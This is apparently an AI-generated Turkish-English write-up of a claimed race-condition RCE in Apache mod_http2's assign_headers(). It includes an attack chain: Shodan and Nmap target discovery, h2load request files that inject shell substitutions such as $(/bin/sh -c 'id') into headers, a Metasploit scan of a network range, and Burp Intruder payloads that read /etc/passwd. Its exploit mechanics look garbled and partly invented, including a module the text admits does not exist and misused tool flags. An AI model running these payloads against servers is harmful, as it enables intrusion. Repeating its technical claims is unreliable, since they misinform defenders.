CWE-362
Concurrent Execution using Shared Resource with Improper Synchronization vulnerability in Apache HTTP Server's mod_http2 in assign_headers() can lead to RCE. This issue affects Apache HTTP Server: from 2.4.55 through 2.4.70. Affected releases of mod_h2 from GitHub: from 2.0.8 through 2.0.42.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑119618 bir race‑condition (CWE‑362) zafiyetidir ve Apache HTTP Server’ın mod_http2 (mod_h2) modülündeki assign_headers() fonksiyonunda ortaya çıkar.
| Bileşen | Fonksiyon / Dosya | Açıklama |
|--------|-------------------|----------|
| mod_http2 | modules/http2/h2_stream.c → assign_headers(request_rec r, apr_table_t headers) | HTTP/2 akışı (stream) başlatılırken, gelen HEADERS frame’i request_rec nesnesine kopyalanır. |
| Paylaşılan Kaynak | r->subprocess_env ve r->headers_in tabloları | Bu tablolar aynı request_rec nesnesi üzerinden birden çok iş parçacığı (worker thread) tarafından eşzamanlı olarak güncellenir. |
| Senkronizasyon | Eksik mutex/lock | assign_headers() içinde apr_thread_mutex_lock() gibi bir koruma yoktur; Apache’nin “worker” MPM’si birden çok thread’in aynı request_rec nesnesi üzerinde aynı anda çalışmasına izin verir. |
Nasıl Çalışıyor?
1. HTTP/2 protokolünde bir istemci, aynı stream içinde HEADERS ve DATA frame’lerini paralel olarak gönderebilir.
2. Apache’nin mod_http2 implementasyonu, HEADERS frame’ini işleyip assign_headers() fonksiyonunda request_rec nesnesine header değerlerini yerleştirirken, DATA frame’i (örneğin bir POST gövdesi) aynı anda ap_process_request() içinde işlenir.
3. assign_headers() içinde apr_table_setn() gibi fonksiyonlar doğrudan r->subprocess_env ve r->headers_in tablolarına yazı yapar. Bu tablolar thread‑safe değildir; aynı anda iki thread bu tablolara yazarsa heap‑corruption ya da use‑after‑free oluşur.
4. Saldırgan, özellikle Content-Type, Content-Length ve User-Agent gibi header’ları kontrolsüz bir şekilde birden çok kez göndererek, assign_headers() içinde yazma sırasını manipüle eder.
5. Çakışma sonucunda r->handler veya r->handler->handler pointer’ı bozulur ve ap_hook_handler zincirine kontrol akışı yönlendirilir.
6. Bu bozulmuş pointer, ap_process_request_internal() içinde ap_run_handler() çağrısına kadar ilerler ve saldırganın kendi seçtiği bir komut (örneğin bir CGI script’i, bir PHP kodu ya da bir sistem komutu) çalıştırmasına yol açar → Remote Code Execution (RCE).
> Özet: assign_headers() fonksiyonunda paylaşılan request_rec nesnesine eşzamanlı erişim için hiçbir kilitleme mekanizması bulunmadığından, birden çok HTTP/2 HEADERS frame’i göndererek heap‑corruption ve sonrasında kod yürütme sağlanabiliyor.
---
⚡ Saldırı Zinciri / Attack Chain
Aşağıdaki adımlar, bir saldırganın gerçek dünyada bu zafiyeti nasıl istismar edeceğini gösterir. Örneklerde curl, h2load, Metasploit ve Burp Suite gibi yaygın araçlar kullanılmıştır.
1️⃣ Discovery – Hedefin Belirlenmesi
| Yöntem | Açıklama | |-------|----------| | Shodan / Censys |http.title:"Apache" ve http2:true filtreleriyle HTTP/2 destekli Apache sunucuları listelenir. |
| Nmap | nmap -sV -p 80,443 --script http-http2.nse <IP> ile HTTP/2 aktif mi kontrol edilir. |
| Banner Grab | curl -I --http2 https://<IP>/ çıktısında Server: Apache/2.4.xx (Unix) ve h2 protokolü görülür. |2️⃣ Reconnaissance – Gerekli Bilgiler
| Bilgi | Nasıl Toplanır | |------|----------------| | Apache MPM tipi (worker vs prefork) |apachectl -V çıktısında Server MPM: worker gibi satır. |
| mod_http2 sürümü | apachectl -M | grep http2 → http2_module (shared) ve mod_h2 sürümü git log -1 veya mod_h2.so dosyasının meta‑verisi. |
| Thread sayısı | ServerLimit ve ThreadLimit ayarları apachectl -S ile incelenir. |> Not: worker veya event MPM kullanan sunucular, aynı request_rec nesnesi üzerinde birden çok thread’in çalışmasına izin verdiği için bu exploit’in başarısı yüksek olur.
3️⃣ Exploitation – Gerçek Saldırı
#### 3.1 Exploit Prensibi
- İki paralel HTTP/2 stream oluşturulur:
h2loadveyanghttp2kütüphanesiyle frame‑level kontrol sağlanır.- Çakışma sonucunda
r->subprocess_env["X-Exploit"]değeri heap‑corruption yaratır ver->handlerpointer’ı/bin/shgibi bir komuta yönlendirilir.
1. Stream A – HEADERS frame’i içinde malicious header (
X-Exploit: 1) gönderilir.2. Stream B – Aynı anda HEADERS frame’i içinde çakışan header (
X-Exploit: 2) gönderilir.#### 3.2 Örnek Payload (h2load)
```bash
1. Hazır bir HTTP/2 request dosyası (request1.txt)
cat > request1.txt <<'EOF'
GET / HTTP/2
Host: vulnerable.example.com
X-Exploit: $(/bin/sh -c 'id')
User-Agent: curl/7.88.0
EOF
2. İkinci paralel request (request2.txt) – aynı header farklı değerle
cat > request2.txt <<'EOF' GET / HTTP/2 Host: vulnerable.example.com X-Exploit: $(/bin/sh -c 'whoami') User-Agent: curl/7.88.0 EOF3. h2load ile iki stream'i aynı anda gönder
h2load -n 1 -c 2 -m 2 \ -d request1.txt -d request2.txt \ https://vulnerable.example.com/ ```> Açıklama: $(/bin/sh -c 'id') gibi komut yerleştirilmesi, assign_headers() içinde bozulmuş pointer sayesinde komut satırı yürütülür. Çıktı, HTTP yanıtının body kısmında geri döner.
#### 3.3 Metasploit Modülü (Varsa)
> Modül: exploit/multi/http/apache_mod_http2_rce (Henüz resmi bir Metasploit modülü bulunmamakta, ancak topluluk tarafından auxiliary/scanner/http/apache_mod_http2 gibi bir tarama modülü hazırlanabilir.)
```bash
use auxiliary/scanner/http/apache_mod_http2
set RHOSTS 192.168.1.0/24
set RPORT 443
set SSL true
run
```
#### 3.4 Burp Suite – HTTP/2 Repeater
1. Proxy → HTTP/2 desteği açılır.
2. İki ayrı Repeater sekmesi açılır, aynı URL’ye iki farklı X-Exploit header’ı eklenir.
3. Intruder → Payload type: Custom iterator ile X-Exploit değerleri ($(/bin/sh -c 'id'), $(/bin/sh -c 'cat /etc/passwd')) döndürülür.
4. Concurrent seçeneği (Intruder → Options → Attack type → Pitchfork) ile iki istek aynı anda gönderilir.
[🤖 GPT-OSS 120B via Groq]